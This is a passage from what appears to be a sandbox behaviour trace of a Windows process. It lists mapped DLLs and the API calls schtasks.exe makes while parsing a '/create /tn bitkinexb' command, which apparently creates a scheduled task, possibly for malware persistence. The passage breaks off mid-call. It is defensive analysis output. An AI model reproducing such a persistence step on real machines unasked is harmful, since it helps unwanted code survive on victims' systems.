mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2153 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2154 start_va = 0x1f10000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 2155 start_va = 0x240000 end_va = 0x31efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2156 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2157 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2158 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2159 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2160 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2161 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2162 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2163 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2164 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2167 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 112 os_tid = 0xf28 [0062.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x15fa60 | out: lpSystemTimeAsFileTime=0x15fa60*(dwLowDateTime=0x4e733400, dwHighDateTime=0x1d9eb0c)) [0062.648] GetCurrentProcessId () returned 0xf24 [0062.648] GetCurrentThreadId () returned 0xf28 [0062.648] GetTickCount () returned 0x1765400 [0062.648] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x15fa68 | out: lpPerformanceCount=0x15fa68*=2486913136112) returned 1 [0062.648] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0062.648] __set_app_type (_Type=0x1) [0062.648] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0062.649] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0062.649] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0062.649] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0062.650] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0062.650] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0062.650] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0062.650] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0062.650] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0062.650] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0062.650] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0062.650] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0062.651] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0062.651] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0062.651] WinSqmIsOptedIn () returned 0x0 [0062.651] GetProcessHeap () returned 0x320000 [0062.651] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x335520 [0062.651] SetLastError (dwErrCode=0x0) [0062.651] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0062.651] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0062.651] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0062.652] VerifyVersionInfoW (in: lpVersionInformation=0x15f220, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x15f220) returned 1 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bae0 [0062.652] lstrlenW (lpString="") returned 0 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x2) returned 0x33bb00 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335a10 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bb20 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335a40 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335a70 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335aa0 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335ad0 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bb40 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335b00 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335b30 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335b60 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335b90 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bb60 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335bc0 [0062.652] GetProcessHeap () returned 0x320000 [0062.652] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335bf0 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335c20 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335c50 [0062.653] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.653] SetLastError (dwErrCode=0x0) [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335c80 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335cb0 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335ce0 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335d10 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335d40 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bb80 [0062.653] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.653] GetProcessHeap () returned 0x320000 [0062.653] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x208) returned 0x33bd20 [0062.653] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x33bd20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0062.653] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0062.656] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0062.656] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0062.658] GetProcessHeap () returned 0x320000 [0062.658] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x74e) returned 0x33c2f0 [0062.658] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0062.658] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x33c2f0 | out: lpData=0x33c2f0) returned 1 [0062.658] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0062.658] VerQueryValueW (in: pBlock=0x33c2f0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x15f308, puLen=0x15f370 | out: lplpBuffer=0x15f308*=0x33c68c, puLen=0x15f370) returned 1 [0062.660] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.660] _vsnwprintf (in: _Buffer=0x33bd20, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x15f2e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0062.660] VerQueryValueW (in: pBlock=0x33c2f0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x15f378, puLen=0x15f368 | out: lplpBuffer=0x15f378*=0x33c4b8, puLen=0x15f368) returned 1 [0062.660] lstrlenW (lpString="schtasks.exe") returned 12 [0062.660] lstrlenW (lpString="schtasks.exe") returned 12 [0062.660] lstrlenW (lpString=".EXE") returned 4 [0062.660] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0062.661] lstrlenW (lpString="schtasks.exe") returned 12 [0062.661] lstrlenW (lpString=".EXE") returned 4 [0062.661] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.661] lstrlenW (lpString="schtasks") returned 8 [0062.661] GetProcessHeap () returned 0x320000 [0062.661] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x335e30 [0062.661] GetProcessHeap () returned 0x320000 [0062.661] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cc00 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cc30 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cc60 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bba0 [0062.662] _memicmp (_Buf1=0x33bba0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xa0) returned 0x33c120 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cc90 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ccc0 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ccf0 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33bbc0 [0062.662] _memicmp (_Buf1=0x33bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.662] GetProcessHeap () returned 0x320000 [0062.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x200) returned 0x33d3d0 [0062.662] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x33d3d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0062.663] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0062.663] GetProcessHeap () returned 0x320000 [0062.663] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x30) returned 0x337ba0 [0062.663] _vsnwprintf (in: _Buffer=0x33c120, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x15f2e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0062.663] GetProcessHeap () returned 0x320000 [0062.663] GetProcessHeap () returned 0x320000 [0062.663] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c2f0) returned 1 [0062.663] GetProcessHeap () returned 0x320000 [0062.663] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c2f0) returned 0x74e [0062.663] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c2f0 | out: hHeap=0x320000) returned 1 [0062.663] SetLastError (dwErrCode=0x0) [0062.663] GetThreadLocale () returned 0x409 [0062.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="?") returned 1 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="create") returned 6 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="delete") returned 6 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="query") returned 5 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="change") returned 6 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="run") returned 3 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="end") returned 3 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] lstrlenW (lpString="showsid") returned 7 [0062.664] GetThreadLocale () returned 0x409 [0062.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0062.664] SetLastError (dwErrCode=0x0) [0062.664] SetLastError (dwErrCode=0x0) [0062.664] lstrlenW (lpString="/create") returned 7 [0062.664] lstrlenW (lpString="-/") returned 2 [0062.664] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.665] lstrlenW (lpString="?") returned 1 [0062.665] lstrlenW (lpString="?") returned 1 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33c1d0 [0062.665] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0xa) returned 0x33c2f0 [0062.665] lstrlenW (lpString="create") returned 6 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33c310 [0062.665] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x14) returned 0x33c330 [0062.665] _vsnwprintf (in: _Buffer=0x33c2f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.665] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.665] lstrlenW (lpString="|?|") returned 3 [0062.665] lstrlenW (lpString="|create|") returned 8 [0062.665] SetLastError (dwErrCode=0x490) [0062.665] lstrlenW (lpString="create") returned 6 [0062.665] lstrlenW (lpString="create") returned 6 [0062.665] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c2f0) returned 1 [0062.665] GetProcessHeap () returned 0x320000 [0062.665] RtlReAllocateHeap (Heap=0x320000, Flags=0xc, Ptr=0x33c2f0, Size=0x14) returned 0x33c350 [0062.665] lstrlenW (lpString="create") returned 6 [0062.665] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.665] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.665] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.665] lstrlenW (lpString="|create|") returned 8 [0062.665] lstrlenW (lpString="|create|") returned 8 [0062.665] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0062.665] SetLastError (dwErrCode=0x0) [0062.666] SetLastError (dwErrCode=0x0) [0062.666] SetLastError (dwErrCode=0x0) [0062.666] lstrlenW (lpString="/tn") returned 3 [0062.666] lstrlenW (lpString="-/") returned 2 [0062.666] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.666] lstrlenW (lpString="?") returned 1 [0062.666] lstrlenW (lpString="?") returned 1 [0062.666] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.666] lstrlenW (lpString="tn") returned 2 [0062.666] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.666] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.666] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.666] lstrlenW (lpString="|?|") returned 3 [0062.666] lstrlenW (lpString="|tn|") returned 4 [0062.666] SetLastError (dwErrCode=0x490) [0062.666] lstrlenW (lpString="create") returned 6 [0062.666] lstrlenW (lpString="create") returned 6 [0062.666] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.666] lstrlenW (lpString="tn") returned 2 [0062.666] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.666] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.666] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.666] lstrlenW (lpString="|create|") returned 8 [0062.666] lstrlenW (lpString="|tn|") returned 4 [0062.666] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0062.666] SetLastError (dwErrCode=0x490) [0062.666] lstrlenW (lpString="delete") returned 6 [0062.666] lstrlenW (lpString="delete") returned 6 [0062.666] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.666] lstrlenW (lpString="tn") returned 2 [0062.667] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.667] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.667] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.667] lstrlenW (lpString="|delete|") returned 8 [0062.667] lstrlenW (lpString="|tn|") returned 4 [0062.667] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0062.667] SetLastError (dwErrCode=0x490) [0062.667] lstrlenW (lpString="query") returned 5 [0062.667] lstrlenW (lpString="query") returned 5 [0062.667] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.667] lstrlenW (lpString="tn") returned 2 [0062.667] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.667] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.667] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.667] lstrlenW (lpString="|query|") returned 7 [0062.667] lstrlenW (lpString="|tn|") returned 4 [0062.667] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0062.667] SetLastError (dwErrCode=0x490) [0062.667] lstrlenW (lpString="change") returned 6 [0062.667] lstrlenW (lpString="change") returned 6 [0062.667] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.667] lstrlenW (lpString="tn") returned 2 [0062.667] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.667] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.667] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.667] lstrlenW (lpString="|change|") returned 8 [0062.667] lstrlenW (lpString="|tn|") returned 4 [0062.667] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0062.667] SetLastError (dwErrCode=0x490) [0062.667] lstrlenW (lpString="run") returned 3 [0062.668] lstrlenW (lpString="run") returned 3 [0062.668] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.668] lstrlenW (lpString="tn") returned 2 [0062.668] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.668] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.668] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.668] lstrlenW (lpString="|run|") returned 5 [0062.668] lstrlenW (lpString="|tn|") returned 4 [0062.668] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0062.668] SetLastError (dwErrCode=0x490) [0062.668] lstrlenW (lpString="end") returned 3 [0062.668] lstrlenW (lpString="end") returned 3 [0062.668] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.668] lstrlenW (lpString="tn") returned 2 [0062.668] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.668] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.668] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.668] lstrlenW (lpString="|end|") returned 5 [0062.668] lstrlenW (lpString="|tn|") returned 4 [0062.668] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0062.668] SetLastError (dwErrCode=0x490) [0062.668] lstrlenW (lpString="showsid") returned 7 [0062.668] lstrlenW (lpString="showsid") returned 7 [0062.668] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.668] GetProcessHeap () returned 0x320000 [0062.668] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c350) returned 1 [0062.668] GetProcessHeap () returned 0x320000 [0062.668] RtlReAllocateHeap (Heap=0x320000, Flags=0xc, Ptr=0x33c350, Size=0x16) returned 0x33c350 [0062.668] lstrlenW (lpString="tn") returned 2 [0062.668] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.669] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.669] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|tn|") returned 4 [0062.669] lstrlenW (lpString="|showsid|") returned 9 [0062.669] lstrlenW (lpString="|tn|") returned 4 [0062.669] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x0) [0062.669] lstrlenW (lpString="/tn") returned 3 [0062.669] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x0) [0062.669] lstrlenW (lpString="/tn") returned 3 [0062.669] GetProcessHeap () returned 0x320000 [0062.669] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x8) returned 0x33c2f0 [0062.669] GetProcessHeap () returned 0x320000 [0062.669] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cd20 [0062.669] SetLastError (dwErrCode=0x0) [0062.669] SetLastError (dwErrCode=0x0) [0062.669] lstrlenW (lpString="bitkinexb") returned 9 [0062.669] lstrlenW (lpString="-/") returned 2 [0062.669] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x0) [0062.669] lstrlenW (lpString="bitkinexb") returned 9 [0062.669] StrChrIW (lpStart="bitkinexb", wMatch=0x3a) returned 0x0 [0062.669] SetLastError (dwErrCode=0x490) [0062.669] SetLastError (dwErrCode=0x0) [0062.669] lstrlenW (lpString="bitkinexb") returned 9 [0062.669] GetProcessHeap () returned 0x320000 [0062.669] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x14) returned 0x33c380 [0062.669] GetProcessHeap () returned 0x320000 [0062.669] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, 